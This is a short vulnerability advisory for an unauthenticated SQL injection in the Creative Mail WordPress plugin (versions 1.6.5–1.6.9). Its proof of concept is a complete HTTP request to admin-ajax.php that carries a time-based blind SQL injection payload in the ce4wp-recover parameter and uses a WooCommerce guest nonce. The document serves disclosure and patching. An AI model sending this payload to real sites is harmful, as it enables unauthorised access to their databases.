Creative Mail 1.6.5 – 1.6.9 – Unauthenticated SQLi | CVE 2026-3430

Description

The plugin does not sanitize and escape a parameter before using in an SQL statement, leading to an unauthenticated SQL injection when the abandoned cart email is managed by creative mail.

Proof of Concept

With the Replace the abandoned cart email being setip to be managed by creative mail, retreive the nonce generated by wooCommerce during a checkout as a guest and replace it below

POST /wp-admin/admin-ajax.php?ce4wp-recover='%7c%7c(SELECT%200x675a4856%20WHERE%203572%3d3572%20AND%20(SELECT%206276%20FROM%20(SELECT(SLEEP(5)))iLMF))%7c%7c' HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

action=ce4wp_abandoned_checkouts_capture_guest_checkout&nonce=<woocommerce_nonce>&email=test@test.com